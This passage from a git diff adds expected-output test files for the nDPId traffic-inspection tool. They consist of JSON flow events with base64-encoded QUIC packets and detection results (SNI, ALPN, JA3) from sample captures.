+02220{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"quic046.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1584456191,"pkt_ts_usec":963488,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"AJqdnpsZILABHGh4CABFAAViAABAADgR1GXYOs5WwKgB7AG7xZsFThSKQAOAvpIujfPXuO6ftDZHkO5ObWeGwv0kTM6g8c7RkS2uYesm\/OjqEbEv0CKOemYtHR1IMbYP2KjBycm+ijMHOjJJ7TD4puUehBYTakXtyQfn6UtdEifZii6b8ZPJbDW61mdPkdZxiEwcMLckycECj8cXpMGXlvn823MkBsBSoSaCM0Ub5HMUt2Im6rRfnaCagG0MWgQMpnukekS1sbgAEfQR1yxXsi0u+crvlOolnskNB3\/TxhAHwKlsZwToSAqYaF+OKaYa+iepBKRbwLpWWtx5fqAhAsHaCqh6zdPj7IwomXiHEfan35QBcv\/Cp6qOy\/frv44XLFlj+VQ5VDOswJynuQJSdcdPB8VuHwHZO9E3CNR8aA1QAezHKPUjK66Qy5vNg0fXB1EKqkTOK1zpkqxoGkBRQsCTwJOzQ5N+p2yN\/C8jifIEGCnaw5NP6VGYJiVqVpkvs1egcYLmRBQALOa1yuq1SgxLiiWlGQlHjlCSigWqLVjWV\/7XKgRQSsgCri5iC+n5U+3EcoDGPljd+KhvQwbCOpgQXFU0cuIDfWihxZdtZzE2itJbtTYhElGbcm8MBXm0VNpLDIV2ZFQ+i0ivj9npkURS7n4S2bjuFcLwGSASB9hMBKTp9cbH8cZ4l5jC4rPi1\/GklCyoDxvRdcQsykCQ4lzXNKcfDZ6vfe2vtGkXKt79HCLwHLVPZFr0HxPHiegqwPrcdVfLmgYPxdVf4icMjQFbGc43APhS7CxD62LW872xeAmh4zZ4I4CsDVg5do+uFVVX4lYdYyPp2GPPqNoXv5zhbGhPLB4OABvAklJPRjn1X723w8Z+d6YRPhqrJ0Rxo3\/4+bwddphm2UzjUzPFdXTPEoh3B2vt8oIZA8ga5OX\/a9ALkmVN1Q+FNqR2hIZvmwXuW8BK01cmyJ\/FXcN4xui4yoEBQSDyt\/duV00mg1PPI\/\/CA65KtMk93NhM6HXrHPYJmMwWNcI\/r8vBiuGfwnQG0onTTaaaafq6Q16uBUyGCQYKtnNdtRoj8xRuTPaZC4W7T2FVI9KL2qwxwApiwa8NKXRTDDjwX0G4IV3BNRcDyEigfUjsNUWQpDJO5O0pJoAoLMGCCPM3W5rxl6MIGvt66c741Of+Gwqxjs7U\/mtmlC4k0F1rmXIwJbXtf4GLek3NlgnaQUZPb7x18Nly3StzkT6NSBXaeZzoUpkFE5vWQlOZAAjdaheNdB72CvU\/AloN+YABH5O+s2Uy9tl+nnK1JwZPGy96s96aqNWly8IaZwTKNPNAVtL4cr28yWXuMXB1WxOVBmBXCmJ4MDl7FWT5u6di+yhZ33CMrT36wCB26ugS4pXk7Ugc8kqsco2nQMEBQrRwdE37Dh+tBRvywey5maPGm+784Z31dQx6NUaZh2sB5p4LSXaCco2LpcrstisVNCHDPjzE2T9cEv4Yu8tm5CsImP63gI9Fdt43N7jRhkiCJkHsyqSzbB\/VKBmz5RsQGD1aqbjFuYGr7iqG0peKGN42a\/n9fh8tZkiahlTVcrusp\/NEteOoK6v8JWd+65Pc4FWyZGsvBCo4aMppCCivRQi7EVAle7OM1K12HXsRmHZuJ9aG6PGKf3+gpf3KjvPEH86Yp\/K8AcTYwkg7bYxM74DpUiHhoqhUgvymOHKLZs8BLGV8hKr5slu2v9Ih4kJWN+cN17lmkB7PzGtQHW9DlBflV1o0ra1bvJotgm+86KmnDnmJfKQ1xVWR3T+pthoW1CvcpRYFOWLRizFaheTvvvtT1H26jL7F705S\/BWr3\/HP74Iiwy2oBSc+HfHp"} +02223{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"quic046.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1584456191,"pkt_ts_usec":963728,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"AJqdnpsZILABHGh4CABFAAViAABAADgR1GXYOs5WwKgB7AG7xZsFThrOQARe3aLxBgB4IuP2cKS3ZFA39NpBP+15OEWf22Jpc8sHpTbJTKat717iP6h1RXfrq6jSurGYM6rZ7io\/\/Yx2k8FZDOmxqv7n60K76Dlk8Eovb+EHUwR9ornDEzEqFnI5ERPefTYFAQRy61YzgS9eu9G4a0tk92z7y\/MSWyIknfp9RdJRXDbNgwwQyJ+PVjEIfn5Sxcb8ukhNxzmsR9eMMNt+vjjnOVfCxTa9miq+KyK5+uhPp6KAdBkh97rk2dLJmMR3wpsn+vOgshKNwAIWHyCAKyhutl22MDVNmz52XXCtpv2TwpdlNmQQqptuzyivHEMGjKdxBszewCZStU0cNSKw5gv3NSuZxbbEa+SpY9pqRoeBiNCDYfftTxLUbCwKaT\/dV1ISgXzwjt\/tZua13Bad1q6A1AczQpDK8bNBAEzb0rCZq1LASrcH7KSx0lCxDahh4yLD\/WkK0Oo3N5bHbrF6wsHgOazbPhqijCCTmoFublIfQ2sy1cnuDvlrLageTlV0DOxX4VpqwLLO0Mwn\/4ZfONp1aFjEU\/aZv2E\/XsWQLitO+unHUuEN2QBoytB1VGJ+7JkqB0qwL0Znh4ui98Fvi7zhY7LhxwQVK39IqHRiymIc8RqRtVyZqiQ9tSnRuwfXndZXNjZLI7N7oFk742er0XT+cPAuYyoutcRCI9d6gUi97RbLn9JfOM5qseC9SL83ojZ3+Z3O+E8Jd9AXS8VTVpqbfjKISIeR5H24B4JrPuJpFW2y5KJJZn+EIfA1ciNjQ4FD3HFQjqUgNrRptJaCZBlZdUNffjcIkFMYY2NTp1pO1RsiTdHr+WjIo8yDB6KSysbGRZtWGamQ7\/lb80Jq64+GG\/EXMfLm40xLfwBppU0dy0FTMTLIBFxQm7kTz2CgeyH+C2LwbwDauaEOMZ5Zyu2a4b9jJGqhg+5OfoLYodmJLf46Iw8nVdUEjQdNCacNVTg4ViIt6\/MFiTaTSlmKig4\/jei21qGXUUBhjDQZuD8JD9OcR7IDdWQDKYK\/0Af71hhRw6IF8+NrtA3svD0x3G9NsOG\/Dpx3cmC0m0b0iXGJl9GssoxP6ytRRRl9yoXeGPc6CPZJW9fxHx1mA8KsC9QKIeyd8ggumO\/HvblXMnx6lyKsqeqSVZeDqKHLmvu\/fkJlPzoFp1oFmMydJb6g1jJ2zxHdfVHHf5hID1KxAGIVduds40luxpRtvL5vBNhCbmmtCIApNhUocMLbjSFl1mdAphYRVCzJPvkCcrPecC1RAludqvAINCoBoTq4piorsrSBbEQR10GJv2H4VKLIwhgK82gaQKjlIfT4r69kPHuVL639lG27WhOadqrqk0ZDQSSEWiqAGpb260jFS2ddY0oAkQKVU9na+RBb4cvBYNFJIjISsLi3YpF8r5c8gGC\/X5cZ8eAW4+fg\/VR2DrgiJorieJ5X3ZQnuXkxL2r+bImsG+gTbsIXHiH4tbrfRJTsbWsVW9Pt9YPWn+GDgEBxXoWaIUnbS1dCXqn3+Ibok7QqZwO4oBBCJZCTJzf4OeWN6hoFkAY7b8udICS2h2QPr81wCHodt\/ohnh0NOmSEpqdb5Uh8bZaGl3xpuj1fGVuLNhyyw7\/iU+N1mVtOflAgeXbMcsb39K9w2HTcPnp2U06Zvoxg187JQmElF1R5aqPhoQ8e\/xxFcfzvbF3llslbMPtHWAF+Ngakk\/3G9RQIfSkMHEmoGt6V\/OozmvD+un1fo3v6SPA8UQHGfBQkLKzCkvAs\/+fRosNUPK8AgFvNblLO6rBqsYglJXM56rKEcBdOXYXx"} diff --git a/test/results/quic_0RTT.pcap.out b/test/results/quic_0RTT.pcap.out new file mode 100644 index 000000000..f05f2dd18 --- /dev/null +++ b/test/results/quic_0RTT.pcap.out @@ -0,0 +1,4 @@ +00464{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"quic_0RTT.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1603888789791,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"::1","dst_ip":"::1","src_port":60459,"dst_port":4443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02093{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"quic_0RTT.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603888789,"pkt_ts_usec":791229,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"AAAAAAAAAAAAAAAAht1gINJtBNgRQAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAB7CsRWwTYBOvD\/wAAHAhCNdWrrb4+VQiw7LD1RGMN+zL7OkPMAtXpNlW5O0b2\/q+3KdcOtoYFqBIwOi4AbeOZTA9r8spxR89EzuGsSMH\/bUH9ekHEQ922xeaUjW2FgbWmXjMqS+663UY67NIITXpkFxwR22N+eMGvlLVxq1DPyvGiZiTcqCSaCZ0JYqKt+vdrIBp0w3K49QUaWm1DuJd+cQIJzCcz93gKXA+aQn8qJuO+lEHGyiCLVgeWI9\/dk7q4fiSnyVYB8Z\/88\/1PGsSPr7zMnahidPl8sGnTG9MT+px4myWEEHOjoSU0yW9DlNQElkOgitzZjllGvGhUhiBIICMF4QAUv3\/uP2UIoOlO5XivEkb+TEkDY+TeRlQOAIIUbsGZNooxIOe9TQJ82TvA7CrEVTKBa\/0UwEVbDA+egVUviZQiH5ib3Eft7yjRSwrLosJr+JYLE\/b1gPCQqV3\/X9AjXGrd184V\/I069AxL1W3hrfjhc9kTxr61FQb3iBePpHQNPrmWPpWzg65lBvr27yyzoj6wYSTbO781l0YatfDl\/dDvdQIfKr2P6uLMGzJJZkB+Ef6aEehROc00Tde4mLvS3KtN0T7iH4IEsYc3Db9k0scho9GMCBSBIiEPvgGR0Y67dvPV5slktWIWuArg\/VlYjYX5wnaRfV563WjXbTYNGUsYH6yJ12K39PLd+9sxGuDsDv7wuOHQ\/wAAHAhCNdWrrb4+VQiw7LD1RGMN+0KnwyOIE1IPFP+gl6zZC2dnhr2vJbjX4p4gjfOHidbDFdeXHDeCB6AR+v8jJSYiWVKpOKT1tYDZ2eaYAb8EM4juskAwg8WJRDDALjE67avfbFy2bAKFGVwliLbq9g9yfe2DG7zudaoq7VcKjW8DJUYzFu0kG3f0I+eg9KERSSE9tNgraaUChfDY0CfeGXPHIGfNOqV2eildt3CypMlgx434dmv5i8bOFyWursPeR9FPxLAp0E17z39ZowCy9mzMTuEiKSfVFZVEb8A56B9ppGExgQC8QO0Af3vfqS2ttKNvFYUOgdWvnxDVxIQ3xlWS6ELnr9IEyJP7QN13nNZW2yyDnRClGdlAqhKZndvswyZgxdwswpMFr+Hp46L60HP3+Etr\/g+ZQ+dSKaPL8j+qjU4\/5GbDlG+Y8GGpP5yetDzWW4wN5wTi1RfvXLkUi4VB3m4LwQbvS4nockw+p2t9FIJYuLtV0dMHU6Hv7HaVbrS2rEeooj88IkO1U14qUJPxLmg2Uy36iXq2YaI6VfIvwaNOpQxMq6KJ4BIC327gV6F7pkRGqQyr\/fLXQ9\/QAgpjmMNkP95RpEi6vYM4P3hLk7YGQVBnB+IU0NE43CFBWiQCbD6GGRc88ZdV8uxhElyGuoq\/YHF3odV6QEFs9PDd2W40mlJEPTrU\/YbNrDK9EX6uJSY7GfN5JJTDeEvWfQOsQ0uy8IYjlyJ5TxtnQXnq04wVfUtffinNWMR7cNrjwWmw0LkdigoLMel\/dN7JQkDILpNPwSYQ07T0bRnC52xgOJ5umHTPriox2zwHfRI6lLvfBx7j5PR\/iXTtkoj6weekfmGYFZhQNsP1hkCk+6CJfCIo1m1SFLNWhogGJZIJgLWrvdtqIciw9ptTqsx5dUUsMd3KoDy70p2VEA=="} +00699{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"quic_0RTT.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1603888789791,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"::1","dst_ip":"::1","src_port":60459,"dst_port":4443,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"abcd","version":"TLSv1.3","alpn":"h3-32","ja3":"a7b629a5bd67bfc25e2c78b3daa4c12f","tls_supported_versions":"TLSv1.3,TLSv1.3 (draft),TLSv1.3 (draft),TLSv1.3 (draft)"}} +02093{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"quic_0RTT.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603888789,"pkt_ts_usec":792113,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"AAAAAAAAAAAAAAAAht1gIEmLBNgRQAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABEVvsKwTYBOuB\/wAAHAiw7LD1RGMN+wgWsFEjN2HZaQBAoeulPe6gJ\/sr\/GIbyJYc14UNgXtYbxk5qiSqETQY4WZpoAlQETVvk0wWYFOpUIdBARl1suh9iNp9EVeqqDCK8cOmjC1x9D6Kfk9hGxfOeT71tvhKd4oN+bdYPjbqVP0GFxeHN3IMs7Zr+fKeQyuFIUWnb5Z155Se3XdA\/gkvhnMx1ULX5WEKCC9gZx60DO5zH6utYTXgxvBd7Ru+OqadPKlFof8AABwIsOyw9URjDfsIFrBRIzdh2WlAxDmD+hjo+e1bU72YwbmAGOLxO5htQDsPNuVs6LSSsGz3SFw0RPm4E415JCnhx8Ge0QKEWADh5iBKGwMueF2ztpwDH7jsWxr3wB6t01oBA1kA7ZvkbHO543VSXW8URQBDqZoClPbnrQAcBZ+H69\/w3iitABvrJy3KVNkC9+NdHjbogcNpY\/5rLpRLS5HK\/H6JgUnP0BdrxIIF6HWRic\/Wf7gn1j0WoelZtuUrK3RpR66wFjn8EMNQiKG+ggDuldLKh\/U6tL0BsOyw9URjDfuFTTkGJh6F+XUUpTe3M82jojmegspYUKam1MxQec2Qkg\/alipH7KpbN4YAt16GjKA0vziYX61TA5r\/+c+B2T\/sfMV9v\/HKdLDeTVTmLVtM6L+LQWLFNxbF4yrEngXf\/VZT2XaqBGXuy2LCG0Ll9PjYDBtAtstKFFXX1\/Aq9PC+CdywR1PopMQdX5Z9pMSyZiyB5Lzg3cVGVQshXQFro5Kf54d6amO7D2XxOTcZnQiaAf\/TGRrLMf2QELrrUW5vGD6IdIKDtOHH0dTjyWhDTPJEfsacf7m9B9Xhce36eKCRqwlUUYp9cEORg9tAs+LNJkhiCPhfdI2kmtp2bekrtpez6Fafq\/eSu5bTHdTjUlYAqlsCVns0h2QvzRkddQkOUP7gAh5QNKxagIYkVNaIjoRzRpVUuqTaY5AYQbzrX47APe8VY1hIf5XFE6TPMKmMe2Q\/0CtWSycEDeCk28gGteNWfkas+cB+UI1rrRtWgkmad7zXpxmJvEVKx1EjCgwWfU89z+KDl6jD4P4IeVlDy+ynTr4HbYfYMZyTtc1RDHu8b7675WQKM\/HIrQq6E8CeXlwrV\/kN4X7y3aDTZ8UUUEk3f6P1Q8uLPJ2Yruxo4hJaXf2cw6q7EdHqcpvwl9wyP0SydRM5I5Xs9cDxcS9AAJl75598Onx7hfnsjzw2+Lk4PiuB9x8RRtBxDIfr1GIv04yL1ivxWfjBmvn9aCE1EDAtVLxBhg2AhlMxK5+fcZuD8gajCU3jBim0JQ1mEhqnrWZNbjfhTXGYll4oRXXUgYKlIV5s1CchSlcMgg5uu0+4Aj3J0p8FsizlxDbb6CHs\/xgqFSxARbNxD3LVLxEd+HIIdIWwvT1MTqPrwh0uOKGI3kFXzTPm+StyKn3RLAeyIgL4EkpQslwgXWxlUtDWXyicGhGk5giCxEYaSUkCR2ecvlHkQpbq28IGeTXJEr9czuuYuc6xx6JNXW8HuS7eYhN\/9rkNRrkW+Ih9+rtXr1O+2Dy7ZXSKTG4Wnmba1vr6ZEKbxvCvQURsWLQQxX5DHxb0xG+It92fZknkVToOutQ6p1RiqEpFpKmIm03EPunCuw=="} diff --git a/test/results/quic_interop_V.pcapng.out b/test/results/quic_interop_V.pcapng.out new file mode 100644 index 000000000..dfb1c2576 --- /dev/null +++ b/test/results/quic_interop_V.pcapng.out @@ -0,0 +1,418 @@ +00531{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1603816434507,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2400:8902::f03c:91ff:fe69:a454","src_port":38077,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02115{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":507204,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"pJGxgjQ5PKn0qB\/sht1gCq04BNgRQCABCwcKydWupNP+R2kegH0kAIkCAAAAAPA8kf\/+aaRUlL0BuwTYjlPGCgoKCgjBjvWe+MPFRAAARL4AnyCwAgoQjL1g+KDURvDYeEyLw\/xCRk6Dll3vQteHoVQFBQKAtW3\/PUJKxA75UMcNXhZUvkOXlYopsWey\/u66wX35Pj6pU3CXAqQ3fDp5zyCvr8Pm5AyoNAx0veCSUQeDBYfIgnerrrO2MEGoBqYPiiUt8xe5+r79P3P4ZzDRVupqGycbUWtQ6Wo6aZSD05slEqoyPBAaLp3YhydnPgb7vRWFjq0SdM0H\/zxBdY7aJ5VQRGeFUx984uZ\/K6yeMGPT3JYsoR6JIONmbNNldMQuEP+a7GBJ3iEWFJ1Nkel3g0iBwZRA7TTHinpesR5BAPJGKsJg\/VS2BeEVhnsQklM+ccg8cEJ\/WZ8KGZKu2b5eb3vaAvV55IOI0J2iO5UmLyQCl7SbwQC4xeRqoU1X\/r4ksMW+JxOVqFoTOp0p9K8G2C+kXU7PkGNUF6LWJgz0gBnPUfLEiLYep+IB3ydQMSXFv2q4ljMWpImZsfM1M1hyBHVdutiac3ctGpn70sK96\/GuFpnGs5SaPUZPVAd6cowQNyios9VD7LJHBycvPPV\/FVVqGKmtlmE1jhqYU8WM3TP2hIDFKj\/VkbTWINB6wKhdoTjaE++G5UWOW3DyJNvkrdNQDmb57TWpCvvDwZ0zyc9+kjM1P8gJU7fxklAOWt77tLOKjqKz2yyGTywbYI8fpyDxuwcOqHHM1p9Qo2bUMzUDDc5AgR5XXK8f98\/2k\/szEHoOj+xZ0LAk\/ktl3\/tNcCYf5NwDCkoJ2SA+A3liVp\/z86DQ\/o9ZPBbnT\/MRpriiusVj\/+7dyNzTUlosBxg\/ZTGIAFG9kkbqpmlXa9h8whQ+M5AjGTQXahgxhUg+T+XkcD3\/AwAskzg7QFF8QOQvTkgKR27pnPB9TcW0ov3zRKBSq2IRQasfzD4018QjLIoL6M1i7zKWOriPXhrbpQCBMed+qy0CCutCqcHfM5C6tdP5yjdd03xLltagPaoEJdMAzkTI4GTxawZxV\/nJEB2CpfHpXBAiLmSF3pSqQkOlK3gecF6Z5kJRZxdfHFiYQc+ZeBxM3ZsG9j3S6poeVhWhKtKijv579ezhO7g3QE97akiUNAtC\/9u96VNcgwwZo3pYzoh+bmR12ZZk\/flZDnZgzTtqeO5zikP6EaDg3xt4ZqzYpvmcwxx5bFkZ6tYCa\/WSn2OsS\/V89R9JkA+p04smS\/E7zSLxIHIjg7ziPRYLmF24dGHz34FZmheQHZ\/4gm1aFmIaG6\/7f5wmQDqHrB8QpqkJoLkDgUUHwTgyqeLrCOeAdu2eQCQJ4129kNDhXnJ7gWkCKO71EQxgH1wOzb5+V8dr\/jGNAAVFaptYOiLQes+Et0OXv\/4vGauirP+hYZEEAR3InBIIg\/L5KPxSdMCpSCm\/3UnE1zUNlTk7El74hPsNYUcmUS+usyw22jx+xLs4q3Kod9YDt4DrToci+qgaxSPs+xB3bX18DBMDyb8wNM5xFrlJXeWv7YCCDubwS+dnWseGEwnfJTp8dJgKhqy8jDuI7wNl1iTi5TWAuubz7G08V4L8udRmpqYJpILlauSw+hHEcI8MkM2s5oZz8Vly\/UrbvRIh+SQjHV9IgfXMkwlUO3sEi\/jyMwMDaEUvpg=="} +00767{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1603816434507,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2400:8902::f03c:91ff:fe69:a454","src_port":38077,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"nghttp2.org","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00490{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1603816434507,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"71.202.41.169","src_port":37643,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02105{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":507215,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUA0WRAAEARMO3AqAGAR8opqZMLAbsE7E3SzgoKCgoINqH1Vk80LhQAAETSZtRDhHpK7xsUlJpSgtMoVla6Pas+BpVtN5Gjcd3BxSuPRtpK\/YBMJ9l2k8o2HThiUM\/fvgYuD2Kcrxorh\/jnb6Z8yLwnCqMFI6f5++2wq3UD\/j8Rm4jH0vTA53TCV8faPBmIbc\/\/f3Tz+R2DOXZgP62iVOiBptLL3IqVZOU4IOLE0\/JVkynYUJQnG0YsW4UK0qnbcWTyRdgTGBkMmMCcy0t6nX6Tgq0WiglTiACb2fNGAUM5xWmIp7l56ox3rxd5eSC\/ouvINjM5kG8P8v2tSujZgl86FeLWEME+DY5WH6KcXkEbr69+FbbuNXvDK2f590+AqasG+fI7zBfNWo1Ipsj7l1HkYvsUvIcw26BBQurqx8+tF7QthbMubN0aD8OhoOBolJfSbDzAs85Id6ivSBG9R0jYEyc3k1vljfz+fMsTaJHmT507adZ2GD7mZXjlqTo2tY0lxTmDq8TYIRmW5S0g5AxeLYESawu5tcDeQ1F0ZZz\/81pFA\/O6Xsz+LW+nkuPcxb3FhZQ8rGk11Nxnt5bl3qx9dkKg50nnHBStrKL99IkvRWEio2XD6zIDHeUPmuj6vbPMoqWbJ1BWc1QOP8zvT\/5Lum0urlm+3xs84QGqHVu2D75cOuwNNgNZCk5Ju4VXwD1CjjYHIrh0EPYz\/YpjMoCs1JdYRQApUEYvXPrOftFHyRWo2ChQb33MFXFQcv8wO2\/5aJKqYdcVeht\/\/qNdSsRFnrxK6h2aWdAQ4Z7JbsFvA\/hTb+VL5L9GCSqVojyjcvz6pXj+7VmERo1L+Pa9BRifjy0iLNfjP5wofltooS4BlzdCB4aUHHGlTH+J7RtfENSes5C1MkGk3bXd4a77aCZrF2RKt65BuGoTHxCIa46j\/b1GLm8VZzlNV59q4blAc5XL98HTRWrj7Lyc79Dh8jXnEXwPmDWmW9CsA4Ch4D72guVA+3h1lyEU8sU8aFmgHNkr\/q70G96HCmPexSIjjNAelbGlp4sZrLx47ftxlllSk4gO\/H46nyfjKhEcW56k2uyhm8V4HNNWN4MpbIc\/Yfvdrngx7qWGlmiM3iNJAh16I3SuDM9QVUwv5ATd2ADCULw+erv80Ft9CMpIikvknhfJ1tVT8peEKIqu9ABaR5GMoofySzXczjefzyNV1DG6SeWJ52+UthtjpveV9nHmvLuYXnvGea6FWcjL6o6DFccw\/MPYc1ZnxJKIVJl7s7PzYYTQJo6uzu7RffuRaN3XTJ5SsTndQcokexpIO49TaPuPvP71185NglDXOKS+OmNgUpybmlmuhSa5FYUv3bbW69PHc\/kF0xzXBLf5+J+46p3Nttr2OqPoeJohEZHRVI\/6AiZJhhgwvTHdeaUhk2xf9gKSkmNoHccjkKGyBBA6zyzqAsmTBzP1bnAJvuFd4p4mvR9AAMpTZsVCt4+YpaevXhHBN80S0SJnJ8GYSPTlTDk5S5LCl8ACcrSmYkJfN2QxrZnjAo\/7X0BI4v65EBgE0aBU2rS5E3V+L7+ROQByi56sXJjXQwyagtcG5I2ud7++g9fSmh383\/sJtnw8\/3hGH5RGGOTtYIFZs7aGYDtNUkdsTHzAAG0WjFBvyjkoOpP88ObPBQn3FH06fbbow+5Nw0s\/GK8dgRoDVdGM2xounw=="} +00728{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1603816434507,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"71.202.41.169","src_port":37643,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"71.202.41.169","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00539{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1603816434507,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2a05:d018:ce9:8100:cd2a:e2fd:b3be:c5ab","src_port":37876,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02106{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":507837,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"pJGxgjQ5PKn0qB\/sht1gChbjBNgRQCABCwcKydWupNP+R2kegH0qBdAYDOmBAM0q4v2zvsWrk\/QBuwTYWzDMCgoKCgiUaZcozIAAbQAARL5emZhgck3iuC3JUSB8iNm2XjGzLpnCsBWAY4Ojdy\/\/5MzHp06LTPIVKnl9FZGbcpBpkxyhd1DLZI+eYqtiEG5aKS74esaWBq8RL8\/CjhVxYArCrDSr+0hp9B1y+nWDHqDWr7MDZcNsju+tb0UHpoKlBgrUvyDGQhAsZRf7r39yd2xxEzbvuwQuuQ3ed9XQC5ng8bRhq403ZCE\/MYrs6MMmD1D8+1P9lcgzES1uneCIpx1HJrBTKP7nMlE81Z1P78Gu9qUmPawKzam5r0zOt6L0vp6aYOWsVv\/E0pz5vx1omUeD8AvBUEEvL\/DEN6PQFWuaU56poUyWE4zmT1fCmpfkQl2t9VM5S0DSjV9+bnc9oeMC84JGWazOmN+3mpmXoZcYRh07YBY2MZ4VnmznfQ80K1ED3kKFM39nycCSACELzlTXDOkJ\/ktY0JyGo358ZvTutgq61KEs8NzcRLv8hDrgsQWV4XjOrAL105eXrA5f784uvCuN2fslFwCeDS0drYeuYLl2X3IPLV7kaNRc+OWAxuENUrLcJjOCAml9vIubSnbh